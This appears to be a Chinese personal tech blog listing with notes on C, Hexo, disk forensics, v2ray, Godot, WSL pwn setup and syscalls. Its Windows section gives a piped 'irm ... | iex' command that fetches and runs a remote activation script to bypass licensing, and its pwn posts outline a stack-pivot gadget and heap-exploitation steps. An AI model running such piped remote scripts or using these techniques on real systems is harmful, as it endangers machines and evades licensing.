从零开始的机器学习(Machine Learning)

Fri Jun 27 2025 22:35:42 GMT+0800


C语言补漏

Thu Jun 26 2025 16:11:21 GMT+0800


格式化字符串

%[n$][标志][宽度][.精度][长度修饰符]类型

标志(Flags)

控制对齐、符号、填充等:

标志 作用 示例(输入值 42
- 左对齐(默认右对齐) %-5d42
+ 强制显示正负号 %+d+42
空格 正数前加空格,负数前加 - % d 42
0 0 填充宽度(与 - 冲突时忽略) %05d00042
# 添加前缀: %o0%x/%X0x/0X、浮点数强制保留小数点 %#x0x2a

宽度(Field Width)

- 数值:固定宽度(不足时填充空格或 0,超宽则完整输出)。

- *:动态指定宽度(从参数列表获取)。

精度(.Precision)

控制小数位数、字符串截断等:

- .数值:指定精度。

- .*:动态指定精度(从参数列表获取)。

说明符 精度作用 示例(输入值 3.14159, "Hello"
%f 小数位数 %.2f3.14
%s 最大字符数(超长截断) %.3s"Hel"
%d 最小数字位数(不足补 0 %.5d00042

长度修饰符(Length)

指定参数的数据类型长度:

修饰符 适用说明符 参数类型
h %d, %u short / unsigned short
hh %d, %u signed char / unsigned char
l %d, %f, %s long / wchar_t*(宽字符串)
ll %d, %u long long
L %f, %e long double

类型(Types)

整数

说明符 数据类型 输出格式说明 示例(输入值 42
%d int 有符号十进制整数 42
%i int %d,可解析八进制(0)或十六进制(0x)输入 42
%u unsigned int 无符号十进制整数 42
%o unsigned int 无符号八进制(无前缀 0 52
%x unsigned int 无符号十六进制(小写字母,无前缀 0x 2a
%X unsigned int 无符号十六进制(大写字母) 2A

实数

说明符 数据类型 输出格式说明 示例(输入值 42
%f float/double 小数形式浮点数(默认6位小数) 42.000000
%e float/double 指数形式(小写 e,如 1.23e+02 4.200000e+01
%E float/double 指数形式(大写 E 4.200000E+01
%g float/double 自动选择 %f%e(更简洁形式) 42
%G float/double 自动选择 %f%E 42

字符

说明符 数据类型 输出格式说明 示例(输入值 42
%c char 单个字符 *(ASCII 42)
%s char* 字符串(遇 \0 结束) "Hello"Hello
%% - 输出 % 本身 %%%

内存

说明符 数据类型 输出格式说明 示例(输入值 42
%p void* 指针地址(十六进制) 0x7ffd8a3be52c
%n int* 不输出,存储已写字符数到参数指向的位置 int cnt; printf("a%n", &cnt);cnt=1

Scanf的规则

scanf函数按照格式控制符逐个匹配输入数据,严格要求匹配,但是空白符较为特殊(因为在C语言中,空格、制表符和换行符都被视为分隔输入的空白字符)。

遇到%c时,scanf会读取一个字符,任何字符(包括空格)都会导致输入结束。

遇到%s时,scanf会读取一个字符串,遇到空格、制表符或换行符等空白字符时输入结束。

C 存储类

存储类定义 C 程序中变量/函数的存储位置、生命周期和作用域。

这些说明符放置在它们所修饰的类型之前。

下面列出 C 程序中可用的存储类:

- auto 存储类是所有局部变量默认的存储类。定义在函数中的变量默认为 auto 存储类,这意味着它们在函数开始时被创建,在函数结束时被销毁。

- register 存储类用于定义存储在寄存器中而不是 RAM 中的局部变量。这意味着变量的最大尺寸等于寄存器的大小(通常是一个字),且不能对它应用一元的 ‘&’ 运算符(因为它没有内存位置)。register 存储类定义存储在寄存器,所以变量的访问速度更快,但是它不能直接取地址,因为它不是存储在 RAM 中的。在需要频繁访问的变量上使用 register 存储类可以提高程序的运行速度。

- static 存储类指示编译器在程序的生命周期内保持局部变量的存在,而不需要在每次它进入和离开作用域时进行创建和销毁。因此,使用 static 修饰局部变量可以在函数调用之间保持局部变量的值。static 修饰符也可以应用于全局变量。当 static 修饰全局变量时,会使变量的作用域限制在声明它的文件内。全局声明的一个 static 变量或方法可以被任何函数或方法调用,只要这些方法出现在跟 static 变量或方法同一个文件中。静态变量在程序中只被初始化一次,即使函数被调用多次,该变量的值也不会重置。

- extern 存储类用于定义在其他文件中声明的全局变量或函数。当使用 extern 关键字时,不会为变量分配任何存储空间,而只是指示编译器该变量在其他文件中定义。extern 存储类用于提供一个全局变量的引用,全局变量对所有的程序文件都是可见的。当您使用 extern 时,对于无法初始化的变量,会把变量名指向一个之前定义过的存储位置。当您有多个文件且定义了一个可以在其他文件中使用的全局变量或函数时,可以在其他文件中使用 extern 来得到已定义的变量或函数的引用。可以这么理解,extern 是用来在另一个文件中声明一个全局变量或函数

C enum(枚举)

枚举是 C 语言中的一种基本数据类型,用于定义一组具有离散值的常量,它可以让数据更简洁,更易读。

枚举类型通常用于为程序中的一组相关的常量取名字,以便于程序的可读性和维护性。

定义一个枚举类型,需要使用 enum 关键字,后面跟着枚举类型的名称,以及用大括号 {} 括起来的一组枚举常量。每个枚举常量可以用一个标识符来表示,也可以为它们指定一个整数值,如果没有指定,那么默认从 0 开始递增。第一个枚举成员的默认值为整型的 0,后续枚举成员的值在前一个成员上加 1。

文件读写

打开文件

FILE *fopen( const char *filename, const char *mode );

在这里,filename 是字符串,用来命名文件,访问模式 mode 的值可以是下列值中的一个:

模式 描述
r 打开一个已有的文本文件,允许读取文件。
w 打开一个文本文件,允许写入文件。如果文件不存在,则会创建一个新文件。在这里,您的程序会从文件的开头写入内容。如果文件存在,文件内容会被清空(即文件长度被截断为0)。
a 打开一个文本文件,以追加模式写入文件。如果文件不存在,则会创建一个新文件。在这里,您的程序会在已有的文件内容中追加内容。
r+ 打开一个文本文件,允许读写文件。
w+ 打开一个文本文件,允许读写文件。如果文件已存在,则文件会被截断为零长度,如果文件不存在,则会创建一个新文件。
a+ 打开一个文本文件,允许读写文件。如果文件不存在,则会创建一个新文件。读取会从文件的开头开始,写入则只能是追加模式。

如果处理的是二进制文件,则需使用下面的访问模式来取代上面的访问模式:

"rb", "wb", "ab", "rb+", "r+b", "wb+", "w+b", "ab+", "a+b"

关闭文件

为了关闭文件,请使用 fclose( ) 函数。函数的原型如下:

 int fclose( FILE *fp );

如果成功关闭文件,fclose( ) 函数返回零,如果关闭文件时发生错误,函数返回 EOF。这个函数实际上,会清空缓冲区中的数据,关闭文件,并释放用于该文件的所有内存。EOF 是一个定义在头文件 stdio.h 中的常量。

C 标准库提供了各种函数来按字符或者以固定长度字符串的形式读写文件。

写入文件

下面是把字符写入到流中的最简单的函数:

int fputc( int c, FILE *fp );

函数 fputc() 把参数 c 的字符值写入到 fp 所指向的输出流中。如果写入成功,它会返回写入的字符,如果发生错误,则会返回 EOF。您可以使用下面的函数来把一个以 null 结尾的字符串写入到流中:

int fputs( const char *s, FILE *fp );

函数 fputs() 把字符串 s 写入到 fp 所指向的输出流中。如果写入成功,它会返回一个非负值,如果发生错误,则会返回 EOF。您也可以使用 int fprintf(FILE *fp,const char *format, …) 函数把一个字符串写入到文件中。尝试下面的实例:

**注意:**请确保您有可用的 tmp 目录,如果不存在该目录,则需要在您的计算机上先创建该目录。

/tmp 一般是 Linux 系统上的临时目录,如果你在 Windows 系统上运行,则需要修改为本地环境中已存在的目录,例如: C:\tmpD:\tmp等。

读取文件

下面是从文件读取单个字符的最简单的函数:

int fgetc( FILE * fp );

fgetc() 函数从 fp 所指向的输入文件中读取一个字符。返回值是读取的字符,如果发生错误则返回 EOF。下面的函数允许您从流中读取一个字符串:

char *fgets( char *buf, int n, FILE *fp );

函数 fgets() 从 fp 所指向的输入流中读取 n - 1 个字符。它会把读取的字符串复制到缓冲区 buf,并在最后追加一个 null 字符来终止字符串。

如果这个函数在读取最后一个字符之前就遇到一个换行符 ‘\n’ 或文件的末尾 EOF,则只会返回读取到的字符,包括换行符。您也可以使用 int fscanf(FILE *fp, const char *format, …) 函数来从文件中读取字符串,但是在遇到第一个空格和换行符时,它会停止读取。

二进制 I/O 函数

下面两个函数用于二进制输入和输出:

size_t fread(void *ptr, size_t size_of_elements, size_t number_of_elements, FILE *a_file);               
size_t fwrite(const void *ptr, size_t size_of_elements, size_t number_of_elements, FILE *a_file);

这两个函数都是用于存储块的读写 - 通常是数组或结构体。

运算优先级

hexo异常修复杂记

Tue Jun 10 2025 23:24:54 GMT+0800


hexo s报错TypeError: xxx.at is not a function(2025.6.10)

报错信息如下所示:

PS E:\Site\blog-new> hexo s
INFO  Validating config
INFO  Start processing
FATAL Something's wrong. Maybe you can find the solution here: https://hexo.io/docs/troubleshooting.html
TypeError: tokens.at is not a function
Please report this to https://github.com/markedjs/marked.
    at __Lexer.blockTokens (E:\Site\blog-new\node_modules\marked\lib\marked.cjs:1286:34)
    at __Lexer.lex (E:\Site\blog-new\node_modules\marked\lib\marked.cjs:1169:10)
    at lex (E:\Site\blog-new\node_modules\marked\lib\marked.cjs:1155:19)
    at Marked.parse2 [as parse] (E:\Site\blog-new\node_modules\marked\lib\marked.cjs:2135:22)
    at Function.marked [as parse] (E:\Site\blog-new\node_modules\marked\lib\marked.cjs:2174:25)
    at Hexo.module.exports (E:\Site\blog-new\node_modules\hexo-renderer-marked\lib\renderer.js:279:27)
    at Hexo.tryCatcher (E:\Site\blog-new\node_modules\bluebird\js\release\util.js:16:23)
    at Hexo.<anonymous> (E:\Site\blog-new\node_modules\bluebird\js\release\method.js:15:34)
    at E:\Site\blog-new\node_modules\hexo\dist\hexo\render.js:73:28
    at tryCatcher (E:\Site\blog-new\node_modules\bluebird\js\release\util.js:16:23)
    at Promise._settlePromiseFromHandler (E:\Site\blog-new\node_modules\bluebird\js\release\promise.js:547:31)
    at Promise._settlePromise (E:\Site\blog-new\node_modules\bluebird\js\release\promise.js:604:18)
    at Promise._settlePromiseCtx (E:\Site\blog-new\node_modules\bluebird\js\release\promise.js:641:10)
    at _drainQueueStep (E:\Site\blog-new\node_modules\bluebird\js\release\async.js:97:12)
    at _drainQueue (E:\Site\blog-new\node_modules\bluebird\js\release\async.js:86:9)
    at Async._drainQueues (E:\Site\blog-new\node_modules\bluebird\js\release\async.js:102:5)
    at Immediate.Async.drainQueues [as _onImmediate] (E:\Site\blog-new\node_modules\bluebird\js\release\async.js:15:14)
    at processImmediate (internal/timers.js:462:21)

修复方式:vscode打开/node_modules文件夹,搜索.at(-1)全部替换为[-1](一般搜到的都是在/node_modules/marked文件夹下的)

Windows 11 版本更换

本人亲自尝试了多种方法进行版本更换,但是效果都不尽如人意。

尝试了使用MAS中自带的版本更换工具,结果出现如下提示:

Notes -

 - Save your work before continuing, the system will auto-restart.

 - You will need to activate with HWID option once the edition is changed.
___________________________________________________________________________________________

[1] Continue [2] Go back : 1

Applying the DISM API method with Retail key VK7JG-NPHTM-C97JM-9MPGT-3V66T. Please wait...

使用“6”个参数调用“_DismSetEdition”时发生异常:“不支持该请求。 (异常来自 HRESULT:0x80070032)”
所在位置 行:22 字符: 5
+ if (!$Dism::_DismSetEdition($Session, "$TargetEdition", "$Key", 0, 0, ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : COMException


Checking .NET Framework 3.5 Status - Enabled
Log files are copied to the ChangeEdition_Logs folder on your desktop.

In case there are errors, you should restart the system before trying again.

Check this webpage for help -  https://massgrave.dev/change_edition_issues
___________________________________________________________________________________________

Follow ALL the ABOVE blue lines.
Press [1] to Open Support Webpage  Press [0] to Ignore

也试了在“设置——系统——激活——更改产品密钥”中输入网上搜集的“可行的”密钥,且在联网、断网、重启、没重启的环境下都进行尝试,但是都会报错密钥无效(0xc004f050)

Win11版本一键转换工具 - GitCode是目前我在网上找到的唯一有效的版本更换工具,操作方式十分简洁,我这里不多赘述。(虽然上面标注Windows 10 但是它们和Windows 11 的密钥应该是通用的)

Windows 11 激活

以管理员身份运行PowerShell。

Microsoft Activation Scripts (MAS) | MAS找到激活脚本,一般是下面这个:

irm https://get.activated.win | iex

进入页面之后选择[1]即可自动激活。

Windows 11 添加功能:组策略、Hyper-V、Sandbox

在这篇文章Windows 11 23H2 Home - Gruppenrichtlinien (gpedit), Hyper-V oder Sandbox installieren / aktivieren (neues Skript) - Deskmodder.de

在Neuer Download小标题下存在一个下载连接,直接点击就可以下载了。

- Windows 11 Home Hyper-V Gruppenrichtlinien oder Sandbox aktivieren.zip (11 KB)

最后以管理员身份运行里面的脚本

磁盘镜像取证杂记

Sun Jun 08 2025 23:19:43 GMT+0800


镜像的修复

$ file userdata.img
userdata.img: Linux rev 1.0 ext4 filesystem data, UUID=dc1c8149-bb9e-4b37-adb2-f542b43cbebb (needs journal recovery) (extents) (64bit) (large files) (huge files)

注意上面的结果中存在:(needs journal recovery),如果丢X-way Forensice的话不能被正常解析

$ e2fsck -fy userdata.img
userdata.img: Linux rev 1.0 ext4 filesystem data, UUID=dc1c8149-bb9e-4b37-adb2-f542b43cbebb (extents) (64bit) (large files) (huge files)

再用X-way Forensice即可正常浏览文件目录和文件内容

v2ray学习笔记

Sat Jun 07 2025 19:58:40 GMT+0800


免责声明

本学习笔记仅供仅供教育、研究和安全测试目的而设计和开发。旨在为安全研究人员、学术界人士及技术爱好者提供一个探索和实践网络通信技术的学习渠道,其它任何将此技术用于任何非法用途的行为,与本人无关!

服务端

配置文件

Releases · v2fly/v2ray-core寻找适合你的服务器的v2ray-core。我这里选择的是v2ray-linux-64。(根据你自己的服务器版本选择!!)

wget https://github.com/v2fly/v2ray-core/releases/download/v5.32.0/v2ray-linux-64.zip
unzip v2ray-linux-64.zip -d v2ray-linux-64

将v2ray文件放到/usr/local/bin文件夹下,在/usr/local/etc文件夹下创建一个文件夹v2ray,向文件夹中添加一个文件config.json

然后把v2ray-linux-64/systemd/system中的两个文件v2ray.servicev2ray@.service放到/etc/systemd/system文件夹下。懒得操作的可以直接使用以下代码:

cd v2ray-linux-64
cp v2ray /usr/local/bin
mkdir -p /usr/local/etc/v2ray
touch /usr/local/etc/v2ray/config.json

然后输入下面这个命令,会自动生成一个uuid:

v2ray uuid

向刚刚创建的config.json文件中输入以下内容,需要修改有注释的两个地方:

{
	"inbounds": [
		{
			"port": , // 选择没有被占用的端口
			"protocol": "vmess",
			"settings": {
				"clients": [
					{
						"id": "", //刚刚生成的uuid
						"level": 0,
						"alterId": 0,
						"security": "auto"
					}
				]
			},
			"streamSettings": {
				"network": "kcp"
			}
		}
	],
	"outbounds": [
		{
			"protocol": "freedom",
			"settings": {},
			"tag": "direct"
		},
		{
			"protocol": "blackhole",
			"settings": {},
			"tag": "blocked"
		}
	],
	"routing": {
		"rules": [
			{
				"type": "field",
				"protocol": [
					"bittorrent"
				],
				"outboundTag": "blocked"
			}
		]
	},
	"policy": {
		"levels": {
			"0": {
				"uplinkOnly": 0,
				"downlinkOnly": 0
			}
		}
	}
}

尝试以下输入,看看是否报错,正常情况如下图所示:

v2ray run -config /usr/local/etc/v2ray/config.json

749306a88212af47e4a2e53433d8c875.png

启动服务

启动前先检查一下防火墙,最好是显示FirewallD is not running

firewall-cmd --list-all

然后执行以下命令:

systemctl start v2ray # 立刻启动v2ray
systemctl status v2ray # 查看v2ray的运行状态
systemctl enable v2ray # 设置为开机自启

最后重启一下服务器,查看一下v2ray的运行状态是否为active(running)。

客户端

Releases · 2dust/v2rayN下载v2ray的客户端v2rayN。我这里下载的是:

33708cd1-b751-44dc-a6ef-ecb9c537f55b.png

下载后解压运行v2rayN.exe,点击左上角配置文件->添加[VMess]配置文件,按照下图进行配置(有红字的才需要改),改完点确定:

63b749b1-f817-4a63-ac51-2cc4331356c8.png

系统代理选择自动配置系统代理,路由选择全局。然后尝试访问百度,如果能访问就在百度中输入ip,可以查看你的ip是否已经变成服务器的公网ip,如果变了则说明成功了。

借助svcudp进行栈迁移

Mon May 05 2025 08:57:32 GMT+0800


在libc.so.6文件中存在一个被去符号的函数——svcudp_reply,它含有如下gadget:

mov     rbp, [rdi+48h]          ; 写入rbp的地址
mov     rax, [rbp+18h]          ; 确保rbp+0x18的位置,是leave ; ret的.text地址的地址-0x28(有点拗口)
lea     r13, [rbp+10h]
mov     dword ptr [rbp+10h], 0  ; 确保rbp+0x10位置可写
mov     rdi, r13
call    qword ptr [rax+28h]     ; 调用leave ; ret

在IDA中可以通过搜索汇编指令搜索到,推荐搜索以下两条指令,它们的搜索结果是最少的:

mov     rbp, [rdi+48h]
lea     r13, [rbp+10h]

在rdi可控且写入数据的地址可获得的情况下,可以借助此gadget栈迁移到任意位置。

在只能执行一个函数的情况下,十分适合使用此方法,继续执行ROP调用更多函数。

堆漏洞利用方法整理

Thu May 01 2025 14:56:19 GMT+0800


参考文献

- 【Github】shellphish/how2heap: A repository for learning various heap exploitation techniques.

Fastbin利用

名称 利用步骤
Fastbin Dup
# Glibc 2.39

Tcache利用

名称 利用步骤

Small/Large Bin利用

名称 利用步骤

House of 系列

名称 利用步骤
House of Apple1
House of Apple2
House of Botcake
# Glibc 2.39
Step 1:分配出9个Size相同且大于0x80的 Chunk(可能需要多一个使其与Top Chunk分隔开)
Step 2:释放7个Chunk,填满对应的Tcache Bin
Step 3:释放第8个Chunk(Chunk A),进入Unosrted Bin
Step 4:释放第9个Chunk(Chunk B),将会引发Chunk A与Chunk B合并
Step 5:从该大小的Tcache Bin中分配出1个Chunk,给Double Chun B让位
Step 6:再次释放Chunk B,进入Tcache
Finish:此时Chunk B同时存在于Unsorted Bin与Tcache中
House of Einherjar
House of Force
House of Gods
House of Lore
House of Mind Fastbin
House of Orange
# Glibc 2.23
# 无free()函数
Step 1:堆溢出修改Top Chunk的Size为较小值
Step 2:创建一个Size大于Top Chunk的Size的空间,这样Top Chunk就会被Free进Unsorted Bin
Step 3:堆溢出修改这个Unsorted Bin的内容:
(1) 写入/bin/sh\x00
(2) 修改 Unsorted Bin的大小为0x60(也可以为其他值,但是要找得到位置)
(3) Unsorted Bin的bk指针为_IO_list_all-0x10(??)
(4) 构造合理的IO_FILE结构通过判断
(5) 构造vtable,写入想要执行的函数
Step 4:分配这个Unsorteed Bin
House of Roman
House of Spirit
House of Storm
House of Tangerine
House of Water

树链剖分

Fri Apr 11 2025 09:15:58 GMT+0800


算法目的

维护静态树上的路径信息

算法流程

分两次DFS预处理出以下关键值:

DFS 含义 获得方式
1 father[x] x在树中的父亲 在dfs传参中获得
1 dep[x] x在树中的深度 在dfs传参中获得
1 size[x] x为根的子树大小 在dfs传递归中获得
1 son[x] x的重儿子编号 在dfs传递归中获得
2 top[x] x所在的重路径的顶部结点编号 top[重儿子]=top[自己]
top[轻儿子]=轻儿子
2 seg[x] x在线段树中的位置 按照先访问重儿子的顺序先序遍历树,使得每条重链上的节点在线段树上保持相邻
2 rev[y] y在树中的结点编号 这个简单

线段树的建树和查询的实现就只需按一般的做法

树链的查询

void ask (int x, int y)
{
    int fx = top[x],fy = top[y];
    while(fx != fy)							//直到两个点在同一条重链上
    {
        if(dep[fx] < dep[fy]) 				//选择深度大的往上跳
            swap(x, y),swap(fx, fy);
        query(1, 1, seg[0], seg[fx], seg[x]);	
        x = father[fx]; fx=top[x];
    }
    if(dep[x] > dep[y]) 					//先序遍历导致:在同一棵子树上深度大的点在线段树中的位置靠后
        swap(x, y);
    query(1, 1, seg[0], seg[x], seg[y])		//而seg[x]<=seg[y]故dep[x]<=dep[y]
}

学习使用世界上最好的godot游戏引擎

Thu Mar 13 2025 20:03:03 GMT+0800


图形编辑器

2D

模式 快捷键 描述
选择模式 Q Ctrl+拖动:围绕轴心旋转选中节点。
Alt+拖动:移动选中节点。
Ctrl+Alt+Drag:缩放选中节点V:设置选中节点的轴心位置。
Alt+右键:显示点击位置的所有节点列表,包含已锁定节点。
右键:在点击位置添加节点。
移动模式 W
旋转模式 E
缩放模式 R Shift:按比例缩放。
节点选择
修改轴心 点击修改对象的旋转轴心。
Shift:设置临时旋转轴心。
按住 Shift 点击该按钮可以将旋转轴心放置到所选节点的中心。
平移模式 G 你还可以使用平移视图快捷键(默认为空格)在任何模式下平移
标尺模式 R
使用智能吸附 Shift + S 开关智能吸附。
使用栅格吸附 Shift + G 开关栅格吸附。
吸附选项
锁定所选节点 Ctrl + L 锁定选定的节点,防止选择和移动。
编组所选节点 Ctrl + G 将所选节点与其子节点组合。这样在 2D 和 3D 视图中点击子节点就会选中父节点。

设置窗口大小:项目->项目设置->常规->显示->窗口->大小->视口宽/高度

节点的渲染顺序为树的深度优先遍历,同级按从上到下的顺序,后渲染的覆盖之前渲染的。

轴心点也叫中心点,用来给节点定位

锚点用来描述节点相对于父节点的位置

3D

还没学捏~

素材

图片素材

图片的切割:在检查器中勾选Region->Enabled[],然后点击下方“编辑区域”即可切割
图片的合并:在文件系统中选择多张图片,点击导入,导入为“TextureAtlas”

GDscript

GDscript是一个非常类似于Python的脚本语言

在wsl中搭建pwn环境

Tue Feb 11 2025 12:13:41 GMT+0800


玩linux的少不了系统重装,每次装系统都要配环境,故记录下环境配置的过程,方便再次查阅,也可以i在

GPG报错的解决方案

最近不管在安装Kali的时候,不管装的是vmware、wsl、live boot,在使用apt update的时候都会出现如下错误:

apt update
#Get:1 http://kali.download/kali kali-last-snapshot InRelease [41.5 kB]
#Err:1 http://kali.download/kali kali-last-snapshot InRelease
#  Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key 827C8569F2518CC677FECA1AED65462EC8D5E4C5, which is needed to verify signature.
#Warning: GPG error: http://kali.download/kali kali-last-snapshot InRelease: Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key #827C8569F2518CC677FECA1AED65462EC8D5E4C5, which is needed to verify signature.
#Error: The repository 'http://http.kali.org/kali kali-last-snapshot InRelease' is not signed.
#Notice: Updating from such a repository can't be done securely, and is therefore disabled by default.
#Notice: See apt-secure(8) manpage for repository creation and user configuration details.
# 解决方法:
sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg

apt、git clone、pip、gem下载速度慢的解决方案

apt换源

vim /etc/apt/sources.list

http://http.kali.org/kali换成http://mirrors.ustc.edu.cn/kali

然后输入apt updateapt upgrade

git加速

git clone的时候把github.com换成bgithub.xyz(校园网环境测试:换之前<50KB/s,换之后>2.5MB/s)

pip限制解除及换源

临时换源

pip install 包名 -i https://pypi.tuna.tsinghua.edu.cn/simple

永久换源

pip config set global.index-url https://mirrors.aliyun.com/pypi/simple

(校园网环境测试:换之前根本连不上,换之后>2.5MB/s)

(有必要也可以把pip换成pip3再执行一次,感觉没什么区别)

gem换源

# 总体来说换源前还勉强能用,可以先跳过
gem sources --remove https://rubygems.org/  
gem sources -a https://gems.ruby-china.com/   
gem sources -l        

动态调试工具——gdb & pwndbg

apt install gdb
apt install python3
apt install python3-venv
git clone https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh # 执行时最好使用流量,而不是校园网,我在使用校园网安装时报错了

安装完成后一定不要删除、移动pwndbg的setup源码,可以专门找一个文件夹给他放起来。

gadget查找工具——ROPgadget & one_gadget

# ROPgadget
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python3 setup.py install
# one_gadget
apt install ruby
gem install one_gadget

安装完成后可以删除git源码

一些可以用apt快速安装的工具

apt install tmux
apt install python3-pwntools
apt install checksec

最后附上WSL快捷使用的查询

版权所有 (c) Microsoft Corporation。保留所有权利。
有关此产品的隐私信息,请访问 https://aka.ms/privacy。

用法: wsl.exe [参数] [选项...][命令行]

运行 Linux 二进制文件的参数:

    如果未提供命令行,wsl.exe 将启动默认 shell。

    --exec, -e <CommandLine> 在不使用默认 Linux shell 的情况下执行指定的命令。
    --shell-type <standard|login|none> 使用提供的 shell 类型执行指定的命令。
    --  按原样传递剩余的命令行。
选项:
    --cd <Directory>
        将指定目录设置为当前工作目录。
        如果使用 ~,则将使用 Linux 用户的主路径。如果路径以
        / 字符开始,它将解释为绝对 Linux 路径。
        否则,该值必须是绝对 Windows 路径。
    --distribution, -d <Distro> 运行指定的分发版。
    --user, -u <UserName> 以指定用户身份运行。
    --system 为系统分发版启动 shell。

用于管理适用于 Linux 的 Windows 子系统的参数:

    --help 显示使用情况信息。
    --debug-shell 出于诊断目的打开 WSL2 调试 shell。
    --install [发行版] [选项...]
        安装适用于 Linux 的 Windows 子系统分发版。
        有关有效分发版的列表,请使用 'wsl.exe --list --online'。
        选项:
            --no-launch, -n 安装后不要启动分发版。
            --web-download 从 Internet 而不是 Microsoft Store 下载分发版。
            --no-distribution 仅安装所需的可选组件,不安装分发版。
            --enable-wsl1 启用 WSL1 支持。
    --manage <Distro> <Options...> 更改发行版特定选项。
        选项:
            --move <Location> 将分发移到新位置。
            --set-sparse, -s <true|false> 将发行版的 vhdx 设置为稀疏,从而允许自动回收磁盘空间。
    --mount <Disk> 在所有 WSL 2 分发版中附加和装载物理磁盘或虚拟磁盘。
        选项:
            --vhd 指定 <Disk> 引用虚拟硬盘。
            --bare 将磁盘附加到 WSL2,但不要装载它。
            --name <Name> 使用装入点的自定义名称装载磁盘。
            --type <Type> 装载磁盘时要使用的文件系统(如果未指定)默认为 ext4。
            --options <Options>  其他装载选项。
            --partition <Index> 要装载的分区的索引(如果未指定)默认为整个磁盘。
    --set-default-version <Version> 更改新分发版的默认安装版本。 
    --shutdown 立即终止所有正在运行的分发版和 WSL 2轻型实用工具虚拟机。
    --status 显示适用于 Linux 的 Windows 子系统状态。
    --unmount [磁盘] 从所有 WSL2 分发版中卸载和分离磁盘。
        如果在没有参数的情况下调用,则卸载和分离所有磁盘。
    --uninstall 从此计算机卸载适用于 Linux 的 Windows 子系统包。
    --update 更新适用于 Linux 的 Windows 子系统包。
        选项:
            --pre-release
                下载预发行版本(如果可用)。
    --version, -v 显示版本信息。

用于在适用于 Linux 的 Windows 子系统中管理分发版的参数:

    --export <Distro> <FileName> [选项]
        将分发版导出到 tar 文件。
        文件名可以是 - for stdout。
        选项:
            --vhd
                指定应将分发版导出为 .vhdx 文件。
    --import <Distro> <InstallLocation> <FileName> [选项]
        将指定的 tar 文件作为新分发版导入。
        文件名可以是 - for stdin。
        选项:
            --version <Version>
                指定要用于新分发的版本。
            --vhd
                指定所提供的文件是 .vhdx 文件,而不是 tar 文件。
                此操作在指定的安装位置创建 .vhdx 文件的副本。
    --import-in-place <Distro> <FileName>
        将指定的 .vhdx 文件作为新分发版导入。
        必须使用 ext4 文件系统类型设置此虚拟硬盘的格式。
    --list, -l [选项] 列出分发版。
        选项:
            --all 列出所有分发版,包括当前正在安装或卸载的分发版。
            --running 仅列出当前正在运行的分发版。
            --quiet, -q 仅显示分发版名称。
            --verbose, -v 显示有关所有分发版的详细信息。
            --online, -o 显示适合通过 'wsl --install' 安装的可用分发版列表。
    --set-default, -s <Distro> 将分布版设置为默认值。
    --set-version <Distro> <Version>  更改指定分发版的版本。
    --terminate, -t <Distro> 终止指定的分发版。
    --unregister <Distro> 取消注册分发版并删除根文件系统。

命令很多,有用的就那几个:

wsl --list -v # 查看已安装的虚拟机的详细信息
wsl --unregister <Distro> # 彻底删除一个wsl虚拟机
wsl --export <Distro> <FileName.vhdx> --vhd #导出一个wsl虚拟机 (一般vhd比tar大)
wsl --import <Distro> <InstallLocation> <Filename.vhdx> --vhd #导入一个wsl虚拟机
wsl --set-default <Distro> # 设置默认启动的wsl虚拟机

Linux系统调用号表

Sun Dec 15 2024 20:30:56 GMT+0800


32位

函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号
restart_syscall 0 getpgrp 65 get_kernel_syms 130 stat64 195 timer_delete 263 epoll_create1 329
exit 1 setsid 66 quotactl 131 lstat64 196 clock_settime 264 dup3 330
fork 2 sigaction 67 getpgid 132 fstat64 197 clock_gettime 265 pipe2 331
read 3 sgetmask 68 fchdir 133 lchown32 198 clock_getres 266 inotify_init1 332
write 4 ssetmask 69 bdflush 134 getuid32 199 clock_nanosleep 267 preadv 333
open 5 setreuid 70 sysfs 135 getgid32 200 statfs64 268 pwritev 334
close 6 setregid 71 personality 136 geteuid32 201 fstatfs64 269 rt_tgsigqueueinfo 335
waitpid 7 sigsuspend 72 afs_syscall 137 getegid32 202 tgkill 270 perf_event_open 336
creat 8 sigpending 73 setfsuid 138 setreuid32 203 utimes 271 recvmmsg 337
link 9 sethostname 74 setfsgid 139 setregid32 204 fadvise64_64 272 fanotify_init 338
unlink 10 setrlimit 75 _llseek 140 getgroups32 205 vserver 273 fanotify_mark 339
execve 11 getrlimit 76 getdents 141 setgroups32 206 mbind 274 prlimit64 340
chdir 12 getrusage 77 _newselect 142 fchown32 207 get_mempolicy 275 name_to_handle_at 341
time 13 gettimeofday 78 flock 143 setresuid32 208 set_mempolicy 276 open_by_handle_at 342
mknod 14 settimeofday 79 msync 144 getresuid32 209 mq_open 277 clock_adjtime 343
chmod 15 getgroups 80 readv 145 setresgid32 210 mq_unlink 278 syncfs 344
lchown 16 setgroups 81 writev 146 getresgid32 211 mq_timedsend 279 sendmmsg 345
break 17 select 82 getsid 147 chown32 212 mq_timedreceive 280 setns 346
oldstat 18 symlink 83 fdatasync 148 setuid32 213 mq_notify 281 process_vm_readv 347
lseek 19 oldlstat 84 _sysctl 149 setgid32 214 mq_getsetattr 282 process_vm_writev 348
getpid 20 readlink 85 mlock 150 setfsuid32 215 kexec_load 283 kcmp 349
mount 21 uselib 86 munlock 151 setfsgid32 216 waitid 284 finit_module 350
umount 22 swapon 87 mlockall 152 pivot_root 217 add_key 286 sched_setattr 351
setuid 23 reboot 88 munlockall 153 mincore 218 request_key 287 sched_getattr 352
getuid 24 readdir 89 sched_setparam 154 madvise 219 keyctl 288 renameat2 353
stime 25 mmap 90 sched_getparam 155 getdents64 220 ioprio_set 289 seccomp 354
ptrace 26 munmap 91 sched_setscheduler 156 fcntl64 221 ioprio_get 290 getrandom 355
alarm 27 truncate 92 sched_getscheduler 157 gettid 224 inotify_init 291 memfd_create 356
oldfstat 28 ftruncate 93 sched_yield 158 readahead 225 inotify_add_watch 292 bpf 357
pause 29 fchmod 94 sched_get_priority_max 159 setxattr 226 inotify_rm_watch 293 execveat 358
utime 30 fchown 95 sched_get_priority_min 160 lsetxattr 227 migrate_pages 294 socket 359
